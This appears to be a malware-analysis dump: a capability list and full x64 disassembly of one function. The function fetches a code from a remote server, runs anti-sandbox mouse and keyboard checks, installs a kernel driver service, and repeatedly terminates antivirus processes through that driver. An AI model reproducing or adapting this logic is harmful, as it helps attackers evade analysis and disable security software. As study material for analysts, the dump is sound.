Function at 0x140001730
Capabilities:
Check for time delay via gettickcount
Check for unmoving mouse cursor
Create service
Enumerate processes
Log keystrokes via application hook
Query or enumerate registry value
Set registry value
Start service

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x828
vmovapd xmmword [rsp + 0x810], xmm7
vmovapd xmmword [rsp + 0x800], xmm6
mov rax, qword [0x14002f040]
xor rax, rsp
mov qword [rsp + 0x7f8], rax
mov dword [rsp + 0xa4], 0
vxorpd xmm0, xmm0, xmm0
vmovapd xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xc0], 0
lea rsi, [rsp + 0xd0]
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rcx, rsi
mov edx, 0x5c
call fcn.14000377c
test rax, rax
je 0x1400017ba
mov byte [rax + 1], 0
vxorpd xmm0, xmm0, xmm0
vmovupd ymmword [rsp + 0x420], ymm0
vmovupd ymmword [rsp + 0x400], ymm0
vmovupd ymmword [rsp + 0x3e0], ymm0
mov dword [rsp + 0x440], 0
vzeroupper
call qword [sym.imp.libcurl.dll_curl_easy_init]
test rax, rax
je 0x14000188c
mov rsi, rax
lea r8, str.https:__shuniji.io_darkhold
mov rdi, qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rax
mov edx, 0x2712
call rdi
lea r8, [0x140001620]
mov rcx, rsi
mov edx, 0x4e2b
call rdi
lea r8, [rsp + 0x3e0]
mov rcx, rsi
mov edx, 0x2711
call rdi
mov rcx, rsi
mov edx, 0x40
xor r8d, r8d
call rdi
mov rcx, rsi
mov edx, 0x51
xor r8d, r8d
call rdi
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_perform]
mov edi, eax
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
test edi, edi
je 0x1400018f7
mov ecx, edi
call qword [sym.imp.libcurl.dll_curl_easy_strerror]
mov rsi, rax
mov ecx, 2
call fcn.140003a40
mov rcx, rax
mov r8, rsi
call fcn.140001650
jmp 0x1400018b0
mov ecx, 2
call fcn.140003a40
lea rcx, str.Failed_to_initialize_curl_n
mov edx, 0x1a
mov r8d, 1
mov r9, rax
call fcn.14000ee14
lea rcx, str.____Failed_to_get_Morse_code_from_server._Exiting..._n
call fcn.140001140
mov rcx, qword [rsp + 0x7f8]
xor rcx, rsp
call fcn.140013d30
mov eax, 0xffffffff
vmovaps xmm6, xmmword [rsp + 0x800]
vmovaps xmm7, xmmword [rsp + 0x810]
add rsp, 0x828
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [0x140032db0]
lea rsi, [rsp + 0x3e0]
mov r8d, 0x63
mov rdx, rsi
call fcn.14000f960
mov byte [0x140032e13], 0
vxorpd xmm0, xmm0, xmm0
vmovupd ymmword [rsp + 0x400], ymm0
vmovupd ymmword [rsp + 0x3e0], ymm0
mov byte [rsp + 0x420], 0
vmovupd ymmword [rsp + 0x710], ymm0
vmovupd ymmword [rsp + 0x6f0], ymm0
mov byte [rsp + 0x730], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREDarkhold
mov rcx, 0xffffffff80000002
xor r8d, r8d
mov r9d, 0x20019
vzeroupper
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400019fd
mov dword [rsp + 0x1e0], 0x41
mov rcx, qword [rsp + 0x5e0]
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea rdx, str.Hash
lea r9, [rsp + 0x2e0]
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
mov rcx, qword [rsp + 0x5e0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x1400019fd
lea rsi, [rsp + 0x6f0]
mov rcx, rsi
call fcn.1400014e0
lea rcx, [rsp + 0x3e0]
mov rdx, rsi
call fcn.14000f580
test eax, eax
je 0x140001ff3
lea rcx, str.___Checking_Morse_code_input..._n
call fcn.140001140
lea rcx, str.Enter_Morse_code:__s_n
lea rdx, [0x140032db0]
call fcn.140001140
lea rcx, str.Use_Fn_key_for_dot_dash._n
call fcn.140001140
lea rcx, str.Short_press_for_dot__long_press_for_dash._n
call fcn.140001140
lea rcx, str.Use_Space_key_for_space_between_letters._n
call fcn.140001140
lea rcx, str.You_have_30_seconds_to_enter_the_correct_Morse_code._n
call fcn.140001140
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x140030d7c], eax
mov byte [0x140030d80], 0
lea r9, [0x1400010f0]
xor ecx, ecx
xor edx, edx
mov r8d, 0x3e8
call qword [sym.imp.USER32.dll_SetTimer]
lea rdx, [0x1400012e0]
mov ecx, 0xd
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
test rax, rax
je 0x14000208d
mov rsi, rax
lea rcx, [rsp + 0x3e0]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jle 0x140001b06
test byte [0x140030d84], 1
jne 0x140001b06
lea rdi, [rsp + 0x3e0]
mov rbx, qword [sym.imp.USER32.dll_TranslateMessage]
mov r14, qword [sym.imp.USER32.dll_DispatchMessageA]
mov r15, qword [sym.imp.USER32.dll_GetMessageA]
nop word [rax + rax]
mov rcx, rdi
call rbx
mov rcx, rdi
call r14
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call r15
test eax, eax
jle 0x140001b06
test byte [0x140030d84], 1
je 0x140001ae0
mov rcx, rsi
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor ecx, ecx
xor edx, edx
call qword [sym.imp.USER32.dll_KillTimer]
cmp byte [0x140030d79], 1
jne 0x140002099
lea rcx, str.___Correct_Morse_code_entered._Continuing..._n
call fcn.140001140
lea rcx, str._n___Checking_for_human_like_mouse_behavior..._n
call fcn.140001140
lea rcx, str.You_have_3_minutes_to_demonstrate_human_like_mouse_movement._n
call fcn.140001140
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x140030d7c], eax
mov byte [0x140030d80], 1
lea r9, [0x1400010f0]
xor ecx, ecx
xor edx, edx
mov r8d, 0x3e8
call qword [sym.imp.USER32.dll_SetTimer]
xor ecx, ecx
call fcn.14000e360
mov ecx, eax
call fcn.14000f4c0
call fcn.14000f4d8
movsxd rsi, eax
imul rax, rsi, 0x66666667
mov rcx, rax
shr rcx, 0x3f
sar rax, 0x21
add eax, ecx
lea edi, [rax + rax*4]
mov ebx, esi
sub ebx, edi
lea r14d, [rbx + 4]
call fcn.14000f4d8
vcvtsi2sd xmm0, xmm1, eax
vmovsd xmm6, qword [0x140028b60]
vfmadd213sd xmm6, xmm0, qword [0x140028b68]
mov eax, r14d
shr eax, 1
mov dword [rsp + 0x6c], eax
mov qword [rsp + 0x70], rbx
lea eax, [rbx + 5]
neg edi
lea ecx, [rsi + rdi + 3]
mov qword [rsp + 0x98], rcx
lea rcx, [r14 - 1]
mov qword [rsp + 0x88], rcx
mov ecx, r14d
and ecx, 3
mov qword [rsp + 0x80], rcx
and r14d, 0xfffffffc
mov qword [rsp + 0x78], r14
dec rax
mov qword [rsp + 0x90], rax
mov rbp, qword [sym.imp.USER32.dll_GetCursorPos]
mov r12, qword [sym.imp.KERNEL32.dll_Sleep]
mov r14, qword [sym.imp.KERNEL32.dll_GetTickCount]
vmovsd xmm7, qword [0x140028b70]
nop dword [rax]
lea rcx, [rsp + 0x3e0]
call rbp
lea rbx, [rsp + 0x3e8]
nop word cs:[rax + rax]
call fcn.14000f4d8
cdqe
imul rcx, rax, 0x28c1979
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x21
add ecx, edx
imul ecx, ecx, 0xc9
neg ecx
lea ecx, [rax + rcx + 0xc8]
call r12
mov rcx, rbx
call rbp
call r14
mov dword [0x140030d7c], eax
mov eax, dword [rsp + 0x3e0]
cmp eax, dword [rsp + 0x3e8]
jne 0x140001cab
mov eax, dword [rsp + 0x3ec]
cmp dword [rsp + 0x3e4], eax
je 0x140001c50
mov rdi, qword [rsp + 0x90]
cmp dword [rsp + 0x70], 0xfffffffd
jge 0x140001cc9
jmp 0x140001f0a
add rbx, 8
dec rdi
je 0x140001d10
call fcn.14000f4d8
cdqe
imul rcx, rax, 0x63e7063f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x24
add ecx, edx
lea edx, [rcx + rcx*4]
lea ecx, [rcx + rdx*8]
neg ecx
lea ecx, [rax + rcx + 0x1e]
call r12
mov rcx, rbx
call rbp
mov eax, dword [rbx]
cmp eax, dword [rbx - 8]
jne 0x140001cc0
mov eax, dword [rbx + 4]
cmp eax, dword [rbx - 4]
jne 0x140001cc0
jmp 0x140001c30
mov ecx, dword [rsp + 0x3e0]
mov eax, dword [rsp + 0x3e4]
cmp qword [rsp + 0x88], 3
jae 0x140001d40
xor r8d, r8d
jmp 0x140001dfc
xor edx, edx
mov rbx, qword [rsp + 0x78]
nop word [rax + rax]
mov r8d, dword [rsp + rdx*8 + 0x3e8]
mov r9d, dword [rsp + rdx*8 + 0x3ec]
mov r10d, dword [rsp + rdx*8 + 0x3f0]
mov r11d, dword [rsp + rdx*8 + 0x3f8]
mov esi, r11d
sub esi, r10d
sub r10d, r8d
sub r8d, ecx
mov dword [rsp + rdx*8 + 0x6f0], r8d
mov ecx, dword [rsp + rdx*8 + 0x3f4]
mov edi, dword [rsp + rdx*8 + 0x3fc]
mov r8d, edi
sub r8d, ecx
sub ecx, r9d
sub r9d, eax
mov dword [rsp + rdx*8 + 0x6f4], r9d
mov dword [rsp + rdx*8 + 0x6f8], r10d
mov dword [rsp + rdx*8 + 0x6fc], ecx
mov dword [rsp + rdx*8 + 0x700], esi
mov dword [rsp + rdx*8 + 0x704], r8d
lea r8, [rdx + 4]
mov ecx, dword [rsp + rdx*8 + 0x400]
mov eax, ecx
sub eax, r11d
mov dword [rsp + rdx*8 + 0x708], eax
mov eax, dword [rsp + rdx*8 + 0x404]
mov r9d, eax
sub r9d, edi
mov dword [rsp + rdx*8 + 0x70c], r9d
mov rdx, r8
cmp rbx, r8
jne 0x140001d50
mov rsi, qword [rsp + 0x80]
test rsi, rsi
je 0x140001e5b
lea rdx, [rsp + 0x6f4]
lea rdx, [rdx + r8*8]
lea r9, [rsp + 0x3e8]
lea r8, [r9 + r8*8 + 4]
xor r9d, r9d
nop word cs:[rax + rax]
mov r10d, dword [r8 + r9*8 - 4]
mov r11d, r10d
sub r11d, ecx
mov dword [rdx + r9*8 - 4], r11d
mov ecx, dword [r8 + r9*8]
mov r11d, ecx
sub r11d, eax
mov dword [rdx + r9*8], r11d
inc r9
mov eax, ecx
mov ecx, r10d
cmp rsi, r9
jne 0x140001e30
cmp dword [rsp + 0x70], 0xfffffffe
jl 0x140001f0a
xor ebx, ebx
mov rsi, qword [rsp + 0x6f0]
xor edi, edi
nop word cs:[rax + rax]
mov rax, rsi
mov rsi, qword [rsp + rbx*8 + 0x6f8]
inc rbx
mov rcx, rax
shr rcx, 0x20
mov rdx, rsi
shr rdx, 0x20
mov r13d, esi
imul r13d, eax
mov r15d, edx
imul r15d, ecx
lea r8d, [r15 + r13]
vcvtsi2sd xmm0, xmm3, r8d
imul eax, eax
imul ecx, ecx
add ecx, eax
vcvtsi2sd xmm1, xmm3, ecx
mov eax, esi
imul eax, esi
imul edx, edx
add edx, eax
vcvtsi2sd xmm2, xmm3, edx
vmulsd xmm1, xmm2, xmm1
vsqrtsd xmm1, xmm1, xmm1
vdivsd xmm0, xmm0, xmm1
call fcn.14000e3d4
vmulsd xmm0, xmm0, xmm7
vucomisd xmm0, xmm6
ja 0x140001c30
or r15d, r13d
shr r15d, 0x1f
add edi, r15d
cmp qword [rsp + 0x98], rbx
jne 0x140001e80
cmp edi, dword [rsp + 0x6c]
jg 0x140001c30
xor ecx, ecx
xor edx, edx
call qword [sym.imp.USER32.dll_KillTimer]
lea rcx, str.___Human_like_mouse_behavior_detected._Continuing..._n
call fcn.140001140
vxorpd xmm0, xmm0, xmm0
vmovupd ymmword [rsp + 0x400], ymm0
vmovupd ymmword [rsp + 0x3e0], ymm0
mov byte [rsp + 0x420], 0
lea rsi, [rsp + 0x3e0]
mov rcx, rsi
vzeroupper
call fcn.1400014e0
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
lea rdx, str.SOFTWAREDarkhold
mov rcx, 0xffffffff80000002
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140001fe7
mov rcx, rsi
call fcn.14000f660
inc eax
mov rcx, qword [rsp + 0x6f0]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
lea rdx, str.Hash
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
mov rcx, qword [rsp + 0x6f0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x140002313
lea rcx, str.____Failed_to_set_registry_value._Continuing_anyway..._n
call fcn.140001140
lea rsi, [rsp + 0x6f0]
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rcx, rsi
mov edx, 0x5c
call fcn.14000377c
test rax, rax
je 0x140002022
mov byte [rax + 1], 0
lea rsi, [rsp + 0x5e0]
lea r8, [rsp + 0x6f0]
mov edx, 0x104
mov rcx, rsi
call fcn.14000f5e8
lea r8, str.listav.txt
mov edx, 0x104
mov rcx, rsi
call fcn.14000f504
lea r8, [0x140028ef8]
lea rcx, [rsp + 0xa8]
mov rdx, rsi
call fcn.14000ed00
test eax, eax
je 0x1400020a5
lea rcx, str.____Failed_to_open__s_n
lea rdx, str.listav.txt
call fcn.140001140
lea rcx, str.____Failed_to_load_antivirus_list._Exiting..._n
jmp 0x1400018b7
lea rcx, str.Failed_to_install_hook__n
call fcn.140001140
lea rcx, str.____Failed_to_enter_correct_Morse_code._Exiting..._n
jmp 0x1400018b7
mov r8, qword [rsp + 0xa8]
lea rcx, [rsp + 0x3e0]
mov edx, 0x200
call fcn.14000ec20
test rax, rax
je 0x14000221f
lea rdi, [rsp + 0x2df]
lea rsi, [rsp + 0x1e0]
lea rbx, [rsp + 0x3e0]
lea r14, [rsp + 0x2e0]
lea r13, [0x140031d90]
vxorpd xmm6, xmm6, xmm6
jmp 0x14000211e
mov r8, qword [rsp + 0xa8]
mov rcx, rbx
mov edx, 0x200
call fcn.14000ec20
test rax, rax
je 0x14000221f
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x28], 0x100
mov rcx, rbx
mov r8, r14
mov r9d, 0x100
call fcn.1400016b0
cmp eax, 2
jne 0x140002100
mov r12, rdi
nop word cs:[rax + rax]
mov r15, r12
inc r12
cmp byte [r15 + 1], 0x20
je 0x140002150
mov rcx, r12
call fcn.14000f660
add r15, rax
nop dword [rax + rax]
mov rax, r15
cmp r15, r12
jbe 0x140002181
lea r15, [rax - 1]
cmp byte [rax], 0x20
je 0x140002170
mov byte [rax + 1], 0
mov ecx, 0x10
call fcn.14000f228
mov r15, rax
mov rcx, r12
call fcn.14000e2e8
mov r12, rax
mov qword [r15], rax
mov rcx, rsi
call fcn.14000e2e8
mov qword [r15 + 8], rax
mov rax, qword [0x140031d90]
mov rbp, r13
test rax, rax
je 0x1400021fb
nop dword [rax + rax]
mov rbp, rax
mov rax, qword [rax]
mov rdx, qword [rax]
mov rcx, r12
call fcn.14000f580
test eax, eax
je 0x140002100
mov r8d, eax
not r8d
shr r8d, 0x1f
xor ecx, ecx
test eax, eax
setns dl
mov rax, qword [rbp + r8*8 + 8]
test rax, rax
jne 0x1400021c0
mov cl, dl
lea rbp, [rbp + rcx*8 + 8]
mov ecx, 0x18
call fcn.14000f228
mov qword [rbp], rax
test rax, rax
je 0x140002100
mov qword [rax], r15
vmovupd xmmword [rax + 8], xmm6
jmp 0x140002100
mov rcx, qword [rsp + 0xa8]
call fcn.14000e674
lea rbx, [rsp + 0x6f0]
lea r8, [rsp + 0xd0]
mov edx, 0x104
mov rcx, rbx
call fcn.14000f5e8
lea r8, str.elliot.sys
mov edx, 0x104
mov rcx, rbx
call fcn.14000f504
xor ecx, ecx
xor edx, edx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test rax, rax
je 0x1400022fb
mov rsi, rax
vxorpd xmm0, xmm0, xmm0
vmovupd ymmword [rsp + 0x40], ymm0
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
lea rdx, str.elliot
mov rcx, rax
mov r8, rdx
mov r9d, 0xf01ff
vzeroupper
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
test rax, rax
je 0x14000231f
mov rbx, rax
mov rcx, rax
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x1400022f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x14000278e
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x140002330
lea rcx, str.____Failed_to_open_Service_Control_Manager_n
call fcn.140001140
lea rcx, str.____Failed_to_create_or_start_the_service._Exiting..._n
jmp 0x1400018b7
lea rcx, str.___Authentication_status_and_Morse_code_hash_saved_in_registry._n
jmp 0x140001fee
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x14000276d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, str.___Service_created_and_started_successfully_n
call fcn.140001140
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea rcx, str..TfSysMon
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x140002761
mov rbx, rax
lea rcx, str.___Connected_to_the_0x54s_driver_n
call fcn.140001140
lea rcx, str.___Starting_continuous_scan_for_antivirus_processes..._n_n
call fcn.140001140
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rsi, rax
mov dword [rsp + 0x2e0], 0
lea rdx, [rsp + 0x2e0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rsp + 0x2e0]
or edx, 4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea r14, [rsp + 0x40c]
lea rsi, [rsp + 0xa4]
lea rdi, [0x140031da0]
lea r15, [rsp + 0x3e0]
jmp 0x140002427
mov dword [0x140031d8c], 0
mov ecx, 1
call fcn.140003a40
mov rcx, rax
call fcn.14000e830
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r13, rsi
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
je 0x140002600
mov r12, rax
mov dword [rsp + 0x3e0], 0x130
mov rcx, rax
mov rdx, r15
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x1400024df
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
lea r15, [rsp + 0x5e0]
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov ecx, 0x1200
xor edx, edx
mov r8d, eax
mov r9d, 0x400
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
lea rcx, str._s:__Error__lu___s_n
lea rdx, str.Failed_to_get_first_process
mov r8d, esi
mov r9, r15
lea r15, [rsp + 0x3e0]
call fcn.140001080
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000264d
mov rcx, r12
mov rdx, r15
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1400024be
mov rbp, qword [0x140031d90]
test rbp, rbp
je 0x1400024d0
mov rsi, rbp
nop
mov rax, qword [rsi]
mov rdx, qword [rax]
mov rcx, r14
call fcn.14000f580
test eax, eax
je 0x140002520
not eax
shr eax, 0x1f
mov rsi, qword [rsi + rax*8 + 8]
test rsi, rsi
jne 0x1400024f0
jmp 0x1400024d0
mov esi, dword [rsp + 0x3e8]
mov eax, dword [0x140032da0]
test eax, eax
jle 0x140002560
cmp dword [0x140031da0], esi
je 0x1400024d0
lea rcx, [rax - 1]
xor edx, edx
nop
cmp rcx, rdx
je 0x140002560
lea r8, [rdx + 1]
cmp dword [rdi + rdx*4 + 4], esi
mov rdx, r8
jne 0x140002540
cmp r8, rax
jb 0x1400024d0
nop dword [rax + rax]
mov r15, qword [rbp]
mov rdx, qword [r15]
mov rcx, r14
call fcn.14000f580
test eax, eax
je 0x14000258b
not eax
shr eax, 0x1f
mov rbp, qword [rbp + rax*8 + 8]
test rbp, rbp
jne 0x140002560
lea rax, str.Unknown
jmp 0x14000258f
mov rax, qword [r15 + 8]
lea rcx, str.e_0m
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, str._s___Found_antivirus_process:__s__PID:__lu_____s_s_n_n
lea rdx, str.e_0_32m
mov r8, r14
mov r9d, esi
call fcn.140001080
movsxd rax, dword [0x140031d8c]
cmp rax, 0x3ff
lea r15, [rsp + 0x3e0]
jg 0x1400024d0
mov ecx, dword [rsp + 0x3e8]
lea edx, [rax + 1]
mov dword [0x140031d8c], edx
lea rdx, [0x140030d8c]
mov dword [rdx + rax*4], ecx
jmp 0x1400024d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov ecx, 0x1200
xor edx, edx
mov r8d, eax
mov r9d, 0x400
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
lea rcx, str._s:__Error__lu___s_n
lea rdx, str.Failed_to_create_process_snapshot
mov r8d, esi
mov r9, r15
call fcn.140001080
cmp dword [0x140031d8c], 0
mov rsi, r13
jle 0x140002750
lea r12, [0x140030d8c]
xor ebp, ebp
jmp 0x1400026d7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov ecx, 0x1200
xor edx, edx
mov r8d, eax
mov r9d, 0x400
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
lea rcx, str._s:__Error__lu___s_n
lea rdx, str.DeviceIoControl_failed
mov r8d, esi
mov rsi, r13
mov r9, r15
call fcn.140001080
inc rbp
movsxd rax, dword [0x140031d8c]
add r12, 4
cmp rbp, rax
jge 0x140002400
mov eax, dword [r12]
mov dword [rsp + 0xb4], eax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rbx
mov edx, 0xb4a00404
lea r8, [rsp + 0xb0]
mov r9d, 0x18
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140002670
movsxd rax, dword [0x140032da0]
cmp rax, 0x3ff
jg 0x1400026c0
mov ecx, dword [r12]
lea edx, [rax + 1]
mov dword [0x140032da0], edx
mov dword [rdi + rax*4], ecx
jmp 0x1400026c0
lea rcx, [0x140028b78]
call fcn.14000f230
jmp 0x14000240a
lea rcx, str.____Connection_to_the_driver_failed_n
jmp 0x1400018b7
lea rcx, str.____Failed_to_create_service_n
call fcn.140001140
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, str.____Failed_to_create_or_start_the_service._Exiting..._n
jmp 0x1400018b7
lea rcx, str.____Failed_to_start_service_n
call fcn.140001140
mov rdi, qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call rdi
mov rcx, rsi
call rdi
lea rcx, str.____Failed_to_create_or_start_the_service._Exiting..._n
jmp 0x1400018b7